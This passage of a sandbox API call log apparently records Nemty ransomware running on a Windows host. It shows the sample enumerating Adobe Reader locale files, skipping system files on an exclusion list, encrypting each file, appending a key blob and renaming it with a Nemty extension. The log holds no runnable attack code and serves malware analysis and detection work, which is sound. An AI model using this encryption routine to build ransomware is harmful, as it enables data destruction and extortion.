10.0\\Reader\\Locale\\de_DE\\RdLang32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\rdlang32.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\RdLang32.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\rdlang32.deu._nemty_kgobjgd_")) returned 1 [0175.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.310] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.DEU", cAlternateFileName="READOU~1.DEU")) returned 1 [0175.310] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2=".") returned 1 [0175.310] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="..") returned 1 [0175.310] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="...") returned 1 [0175.310] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="windows") returned -1 [0175.310] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.310] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="rsa") returned -1 [0175.310] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="NTDETECT.COM") returned 1 [0175.310] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="ntldr") returned 1 [0175.311] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="MSDOS.SYS") returned 1 [0175.311] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="IO.SYS") returned 1 [0175.311] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="boot.ini") returned 1 [0175.311] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="boot.ini") returned 1 [0175.311] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.311] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="ntuser.dat") returned 1 [0175.311] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="desktop.ini") returned 1 [0175.311] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="CONFIG.SYS") returned 1 [0175.311] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="RECYCLER") returned -1 [0175.311] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.311] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="bootmgr") returned 1 [0175.311] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="programdata") returned 1 [0175.311] lstrcmpiW (lpString1="ReadOutLoud.DEU", lpString2="appdata") returned 1 [0175.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DEU", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DEU", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.DEU", lpUsedDefaultChar=0x0) returned 15 [0175.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DEU", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DEU", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.DEU", lpUsedDefaultChar=0x0) returned 15 [0175.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DEU", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DEU", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.DEU", lpUsedDefaultChar=0x0) returned 15 [0175.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DEU", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0175.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DEU", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.DEU", lpUsedDefaultChar=0x0) returned 15 [0175.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.311] Sleep (dwMilliseconds=0x5) [0175.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c264250, dwHighDateTime=0x1d561e8)) [0175.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c264250, dwHighDateTime=0x1d561e8)) [0175.326] GetLastError () returned 0x0 [0175.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.326] GetLastError () returned 0x0 [0175.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.326] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.326] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.327] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.327] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="blhKXZxk34Zec3P6id/+mm7BomXeaOvWfS8Fl6xutg8Dtvj92rK7ZgLVg3mQgJaO\r\nqZo5lbCMz33UeOBj8RvnH1+ixBrNQbg5KzG8OTauIy1W5VarK8O4s7q8QhyPjzQQ\r\nSyYrQxPAbotKSYFx328M+Bitpzr2ZgtM0dpF7zdv1O0TZuceCZ6mj/9bpW9qEYPc\r\n8R7+xoHUDeXMfu4efYm4C1Hz8LM2z6aDza/vRp7pN8WFdfpwagzM1Cdq6JOP/SGw\r\naOKvDdAUh7ReJ6sq5B54dRP0ERAeFirvvut3AHWk2MvAzXBCeyIcsYL7PwLSNtan\r\nG54wdk2mQ8f6O9uthMnYCA==\r\n", pcchString=0x653e5dc) returned 1 [0175.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.327] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\ReadOutLoud.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\readoutloud.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.327] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0175.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0175.327] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.327] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0175.329] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.329] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0175.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.330] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0175.330] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.330] CloseHandle (hObject=0x2e8) returned 1 [0175.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.330] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\ReadOutLoud.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\readoutloud.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\ReadOutLoud.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\readoutloud.deu._nemty_kgobjgd_")) returned 1 [0175.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.333] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.DEU", cAlternateFileName="")) returned 1 [0175.333] lstrcmpiW (lpString1="reflow.DEU", lpString2=".") returned 1 [0175.333] lstrcmpiW (lpString1="reflow.DEU", lpString2="..") returned 1 [0175.333] lstrcmpiW (lpString1="reflow.DEU", lpString2="...") returned 1 [0175.333] lstrcmpiW (lpString1="reflow.DEU", lpString2="windows") returned -1 [0175.333] lstrcmpiW (lpString1="reflow.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.333] lstrcmpiW (lpString1="reflow.DEU", lpString2="rsa") returned -1 [0175.333] lstrcmpiW (lpString1="reflow.DEU", lpString2="NTDETECT.COM") returned 1 [0175.333] lstrcmpiW (lpString1="reflow.DEU", lpString2="ntldr") returned 1 [0175.334] lstrcmpiW (lpString1="reflow.DEU", lpString2="MSDOS.SYS") returned 1 [0175.334] lstrcmpiW (lpString1="reflow.DEU", lpString2="IO.SYS") returned 1 [0175.334] lstrcmpiW (lpString1="reflow.DEU", lpString2="boot.ini") returned 1 [0175.334] lstrcmpiW (lpString1="reflow.DEU", lpString2="boot.ini") returned 1 [0175.334] lstrcmpiW (lpString1="reflow.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.334] lstrcmpiW (lpString1="reflow.DEU", lpString2="ntuser.dat") returned 1 [0175.334] lstrcmpiW (lpString1="reflow.DEU", lpString2="desktop.ini") returned 1 [0175.334] lstrcmpiW (lpString1="reflow.DEU", lpString2="CONFIG.SYS") returned 1 [0175.334] lstrcmpiW (lpString1="reflow.DEU", lpString2="RECYCLER") returned 1 [0175.334] lstrcmpiW (lpString1="reflow.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.334] lstrcmpiW (lpString1="reflow.DEU", lpString2="bootmgr") returned 1 [0175.334] lstrcmpiW (lpString1="reflow.DEU", lpString2="programdata") returned 1 [0175.334] lstrcmpiW (lpString1="reflow.DEU", lpString2="appdata") returned 1 [0175.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DEU", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.DEU", lpUsedDefaultChar=0x0) returned 10 [0175.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DEU", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.DEU", lpUsedDefaultChar=0x0) returned 10 [0175.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DEU", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.DEU", lpUsedDefaultChar=0x0) returned 10 [0175.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DEU", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.DEU", lpUsedDefaultChar=0x0) returned 10 [0175.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.335] Sleep (dwMilliseconds=0x5) [0175.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c2b0510, dwHighDateTime=0x1d561e8)) [0175.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c2b0510, dwHighDateTime=0x1d561e8)) [0175.358] GetLastError () returned 0x0 [0175.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.358] GetLastError () returned 0x0 [0175.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.358] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.358] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.358] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0175.358] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="eGVIDiiLIH7SIDfhdvOW+jba8VEeYqP1P+NQ818q3iTIwPiW0r9XpTnWSy3ktfG1\r\njTellpUwBgj1PfiMeYr+Zs/UjsIGSf0m8o1cjnYf9MdIEHWYXP1j1ORzao5ggS5h\r\nDdslan7RLsM/P0Vgq/l51M7FZxECC9Dif4fFbBLXochnxGBffLSjB5ejF01zAIXk\r\nDfbnYXxY0FUPbKBOFY27mlzHtt2H6xXBSPlI1Sa/GTRwmuc5X2KOhLPJ5dojqIHE\r\nyI1DGV1qP6/AB3ZAPE5Uco4moiSXL0j8AcOAftjG8pZUhidroIDPtNL8vtbpvOO3\r\naPkpGHslDaq/kRYFXhLSWA==\r\n", pcchString=0x653e5dc) returned 1 [0175.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0175.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.359] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\reflow.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\reflow.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.359] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0175.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0175.359] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.359] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0175.361] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.361] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0175.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.361] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0175.361] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.361] CloseHandle (hObject=0x2e8) returned 1 [0175.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0175.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, 